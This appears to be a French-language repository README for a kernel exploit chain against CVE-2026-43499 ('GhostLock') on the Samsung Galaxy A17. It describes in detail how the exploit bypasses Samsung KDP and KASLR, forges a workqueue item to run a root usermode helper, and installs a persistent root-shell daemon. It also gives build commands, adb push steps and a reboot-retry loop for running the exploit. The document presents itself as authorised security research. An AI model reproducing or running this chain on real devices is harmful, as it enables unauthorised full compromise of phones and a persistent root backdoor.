Exploit noyau pour CVE-2026-43499 sur Samsung Galaxy A17 permettant d'obtenir root via un bypass de KDP, une récupération de KASLR et l'exécution d'une workqueue forgée avec un shell persistant.
Chaîne d'exploitation complète de l'utilisateur à root pour CVE-2026-43499 (« GhostLock ») sur le Samsung Galaxy A17 SM-A175F, exécutant Android 16 / GKI 6.12.
La chaîne part des primitives publiques GhostLock et se termine par un usermode helper s'exécutant en tant que :
uid=0(root) gid=0(root) groups=0(root)
context=u:r:kernel:s0
Il démarre également un shell root persistant par démarrage via g4d / g4sh et se termine sans panique du noyau.
📖 Analyse technique complète :
https://www.mobilehackinglab.com/blog/cve-2026-43499-ghostlock-a17-root-shell
Note de recherche
Nous n'avons pas découvert CVE-2026-43499. Le crédit pour la vulnérabilité originale et la recherche IonStack revient à Nebula Security.
Ce dépôt documente notre portage indépendant vers le Samsung Galaxy A17, les modifications requises pour les protections du noyau Samsung, et une nouvelle étape finale d'exploitation.
À des fins de recherche en sécurité autorisée et d'éducation uniquement.
| CVE | CVE-2026-43499 — « ghostlock » |
| Appareil | Samsung Galaxy A17 (SM-A175F, mt6789) |
| GPU | Mali-G57 |
| Noyau | 6.12.23-android16-5-abA175FXXS3BZA5-4k |
| Résultat | uid=0(root) / u:r:kernel:s0 |
| Shell root | démon g4d + client g4sh |
| Persistance | Par démarrage |
| Sortie de l'exploit | Propre, sans panique du noyau |
| Mitigations rencontrées | Samsung KDP, DEFEX, SELinux, PANIC_ON_OOPS, KASLR arm64 |
| Firmware pris en charge | A175FXXS3BZA5 (noyau 6.12.23) et A175FXXS6CZG1 (noyau 6.12.38, SPL 2026-07-05) — les deux vérifiés sur appareil, même chaîne |
La recherche originale ghostlock fournit les primitives d'entrée :
pselect reclaim
↓
fake rt_mutex_waiter
↓
constrained rb-tree pointer write
Sur le Galaxy A17, cependant, la fin de partie standard consistant à modifier les identifiants ne fonctionne pas.
KDP protège les données du noyau liées aux identifiants au niveau EL2.
Sur cette version, les tentatives de modification des identifiants de tâche étaient silencieusement ignorées, même lorsque les adresses cibles étaient correctes.
Ainsi, au lieu d'écrire des identifiants root, ce portage fait exécuter le noyau avec des identifiants privilégiés existants.
L'étape finale :
constrained kernel write
↓
physical read/write channel
↓
KASLR slide recovery
↓
discover system_wq / cpu_pwq
↓
forge work_struct
↓
call_usermodehelper_exec_work
↓
/system/bin/sh
↓
uid=0(root), u:r:kernel:s0
Un élément de travail forgé est placé sur un pool system_wq lié et déclenché par une tempête d'allocations/libérations ptmx.
Le helper en espace utilisateur résultant s'exécute avec les identifiants d'init.
Aucun écrasement des identifiants de tâche n'est requis.
userspace shell (uid 2000)
│
▼
pselect / PI-futex primitive
│
▼
constrained aligned kernel pointer write
│
▼
forged pipe_buffer channel
│
▼
arbitrary physical read/write
│
├── recover KASLR slide
│
├── locate system_wq / cpu_pwq
│
└── prepare forged work_struct
│
▼
queue usermode-helper work
│
▼
ptmx storm wakes worker
│
▼
/system/bin/sh runs with init creds
│
▼
uid=0(root)
│
▼
g4d → @ghostlockd → g4sh
Par rapport au portage public OnePlus, la plupart des étapes après la primitive d'écriture initiale ont été retravaillées.
La phase finale de modification des credentials a été remplacée par un élément workqueue forgé ciblant le chemin d'exécution du usermode-helper.
Cela évite entièrement d'écrire dans les structures cred protégées.
L'approche précédente d'ancrage sur les perf-events était peu fiable sur cet appareil.
À la place, l'exploit utilise trois pointeurs décalés provenant de l'entrée ctl_table boot_id :
procname
data
proc_handler
Les trois sont validés de manière croisée avant d'accepter la diapositive.
cpu_pwq est découvert en parcourant :
system_wq → pwqs
plutôt que de s'appuyer sur un décalage fixe propre à l'appareil.
Le canal d'origine laisse des modifications collatérales à l'état de struct page qui peuvent déclencher PANIC_ON_OOPS lors du démontage.
La chaîne actuelle évite le crash de démontage et il a été démontré qu'elle se termine proprement après l'obtention de root.
Le helper en espace utilisateur démarre :
g4d
qui écoute sur le socket Unix abstrait :
@ghostlockd
g4sh s'y connecte et fournit soit un shell root interactif, soit une exécution de commande unique.
/data/local/tmp/a/g4sh
/data/local/tmp/a/g4sh -c "id"
Cette cible combine plusieurs protections qui contrecarrent les techniques courantes d'exploitation du noyau Android :
Cela a imposé une stratégie d'exploitation différente de l'habituelle :
arbitrary RW → patch cred → disable SELinux
À la place :
arbitrary RW → recover runtime state → forge kernel work → execute usermode helper
Nécessite un Android NDK récent.
make # BZA5 firmware (kernel 6.12.23)
make czg1 # CZG1 firmware (kernel 6.12.38): per-target slide anchors,
# offsets are uname-keyed at runtime
Produit :
ghostlock # exploit (ghostlock-czg1 for the CZG1 build)
g4d # static root-shell daemon
g4sh # root-shell client
Poussez les binaires :
adb push ghostlock /data/local/tmp/a/g4
adb push g4d /data/local/tmp/a/g4d
adb push g4sh /data/local/tmp/a/g4sh
adb shell 'chmod 755 /data/local/tmp/a/g4 /data/local/tmp/a/g4d /data/local/tmp/a/g4sh'
Exécutez la boucle d'exploitation tenant compte du redémarrage :
./scripts/rr_loop4.sh
Après ROOTED :
adb shell /data/local/tmp/a/g4sh
Ou exécutez une seule commande :
adb shell '/data/local/tmp/a/g4sh -c "id"'
Résultat attendu :
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
La primitive est probabiliste et fortement dépendante des conditions de démarrage.
Une exploitation réussie peut nécessiter des tentatives répétées. Le script rr_loop4.sh inclus gère automatiquement les nouvelles tentatives et les cycles de redémarrage.
Il s'agit d'un exploit de recherche, et non d'un outil de root instantané en une seule tentative.
qemu-e2e/ contient un harnais de validation de bout en bout utilisant le noyau Samsung extrait.
Le harnais a été utilisé pour tester :
g4d / g4shL'image du noyau Samsung elle-même n'est pas incluse.
Voir :
qemu-e2e/
pour les instructions d'installation.